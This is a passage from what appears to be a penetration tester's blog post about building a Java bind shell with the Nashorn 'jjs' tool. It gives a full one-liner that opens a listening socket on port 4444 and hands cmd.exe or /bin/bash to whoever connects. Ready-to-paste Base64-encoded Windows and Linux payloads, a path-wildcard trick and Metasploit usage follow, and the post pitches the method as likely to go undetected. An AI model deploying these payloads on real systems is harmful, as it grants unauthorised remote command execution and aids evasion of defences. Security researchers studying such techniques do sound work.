var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
}

On Linux simply change “cmd.exe” to “/bin/bash”. The above has comments and extra white space to aid your understanding of it. I then stripped that back to create a one-line payload:

var serverSocket=new java.net.ServerSocket(4444);while(true){var s=serverSocket.accept();var p=new java.lang.ProcessBuilder('cmd.exe').redirectErrorStream(true).start();var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}

The above has a lot of characters in there which can be problematic when we use echo to pass our one liner into jjs. Fortunately, Java has a Base64 decoder, so we can just use that. The following syntax shows how this would work with jjs:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

When I tested this, I found that a default install of Java on Linux placed jjs in the user’s path. This means that you can use the above syntax directly.

On Windows the binary is not in the path and even the “JAVA_HOME” environment variable is an optional luxury. To cope with that I figured out the command below:

cd "c:\Program Files\Java\jre1.8.*\bin" && jjs.exe

This works because “cd” accepts wildcards in the path. Then the “&&” executes “jjs.exe” only if the previous command successfully executed. Try the above out on Windows to confirm it works for you. If the system has a version of the JDK and the JRE installed simultaneously you can use a double wildcard as shown below:

cd "c:\Program Files\Java\j*1.8.*\bin" && jjs.exe

It doesn’t matter which version of jjs.exe we get so long as it is part of an install newer than 1.8 which makes the above work. If at first you don’t succeed try “1.9”, or “1.10” for newer versions.

Java Bind Shell One Liner for Windows

Finally, the one-liner that you are looking for as a payload on Windows is:

cd "c:\Program Files\Java\j*1.8.*\bin" && echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCdjbWQuZXhlJykucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBwaT1wLmdldElucHV0U3RyZWFtKCkscGU9cC5nZXRFcnJvclN0cmVhbSgpLCBzaT1zLmdldElucHV0U3RyZWFtKCk7dmFyIHBvPXAuZ2V0T3V0cHV0U3RyZWFtKCksc289cy5nZXRPdXRwdXRTdHJlYW0oKTt3aGlsZSghcy5pc0Nsb3NlZCgpKXt3aGlsZShwaS5hdmFpbGFibGUoKT4wKXNvLndyaXRlKHBpLnJlYWQoKSk7d2hpbGUoIHBlLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGUucmVhZCgpKTt3aGlsZShzaS5hdmFpbGFibGUoKT4wKXBvLndyaXRlKHNpLnJlYWQoKSk7c28uZmx1c2goKTtwby5mbHVzaCgpO2phdmEubGFuZy5UaHJlYWQuc2xlZXAoNTApO3RyeSB7cC5leGl0VmFsdWUoKTticmVhazt9Y2F0Y2ggKGUpe319O3AuZGVzdHJveSgpO3MuY2xvc2UoKTt9’))); | jjs.exe

What a long-winded way of getting around to a one liner but awesome fun figuring that out.

Java Bind Shell One Liner for Linux

Here is the equivalent if you want to do the same on Linux/Unix:

echo "eval(new java.lang.String(java.util.Base64.decoder.decode('dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCcvYmluL2Jhc2gnKS5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpLnN0YXJ0KCk7dmFyIHBpPXAuZ2V0SW5wdXRTdHJlYW0oKSxwZT1wLmdldEVycm9yU3RyZWFtKCksIHNpPXMuZ2V0SW5wdXRTdHJlYW0oKTt2YXIgcG89cC5nZXRPdXRwdXRTdHJlYW0oKSxzbz1zLmdldE91dHB1dFN0cmVhbSgpO3doaWxlKCFzLmlzQ2xvc2VkKCkpe3doaWxlKHBpLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGkucmVhZCgpKTt3aGlsZSggcGUuYXZhaWxhYmxlKCk+MClzby53cml0ZShwZS5yZWFkKCkpO3doaWxlKHNpLmF2YWlsYWJsZSgpPjApcG8ud3JpdGUoc2kucmVhZCgpKTtzby5mbHVzaCgpO3BvLmZsdXNoKCk7amF2YS5sYW5nLlRocmVhZC5zbGVlcCg1MCk7dHJ5IHtwLmV4aXRWYWx1ZSgpO2JyZWFrO31jYXRjaCAoZSl7fX07cC5kZXN0cm95KCk7cy5jbG9zZSgpO30=')));" | jjs

Notice the double-quotes around the string which the Windows payload didn’t need? For those with eagle eyes (and a set of Base64 decoding goggles), the encoded string was modified to set the command to “/bin/bash”.

This was the one which worked for me on the customer engagement.

Using it with metasploit

Finally, if you want to use the same techniques via Metasploit it works with “generic\shell” payload. Provide the relevant one-liner as the value of the “PAYLOADSTR” being careful to escape all: double-quotes, single-quotes and backslashes by prefixing with a backslash.

If in doubt look at the value when using “show options” as that displays the final form that will be executed on the target. If your quotes or slashes are missing then escape harder!

Washup

I was rather happy with my shiny shell so I was going to get this blog post out. Then I had that thought which triggers doubt in every security researcher. Has someone got here before me? Turns out that yes someone had.

Take a bow Brett Hawkins. At the time I was doing my root dance he had posted reference [3]. Which covers things brilliantly.

However, he is using “jrunscript” instead of jjs. His post came out between me finding jjs on the first job and then getting the good shit on the second job. Seems that the theory of Multiple Discovery holds true again 😀

Brett has followed up his first post with another one at reference [4]. Loving his work.

Making it more dangerous

Why have I bothered posting my research when Brett has pretty much nailed it? A simple list of them:

  • He has blogged about “jrunscript” which I have omitted from this post precisely because he covered it.
  • His posts are applicable only when the victim is running JDK. This is not the most common form of Java. The bulk will have JRE installed.
  • Therefore the things I have listed above I would argue are much more dangerous. They will affect ANYTHING which is running Java.

Of course to trigger any of this you need to have command execution on the victim’s computer. The reason I am being so open here is that this is a commonly available scripting engine which can be integrated into various things. It is not a zero day exploit which will get anyone in to anything.

What you can do is establish bind and reverse TCP shells in a new language where the payloads are pretty universal. You can re-implement some of the amazing PowerShell libraries in Java and have another option which might go undetected.

If the trick in Red Teaming is currently to go living off the land (see reference [5]. What this gives people is another string to go plucking.

References

  1. https://winterbe.com/posts/2014/04/05/java8-nashorn-tutorial/
  2. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html
  4. https://h4wkst3r.blogspot.com/2018/08/byoj-bring-your-own-jrunscript.html
  5. https://github.com/api0cradle/LOLBAS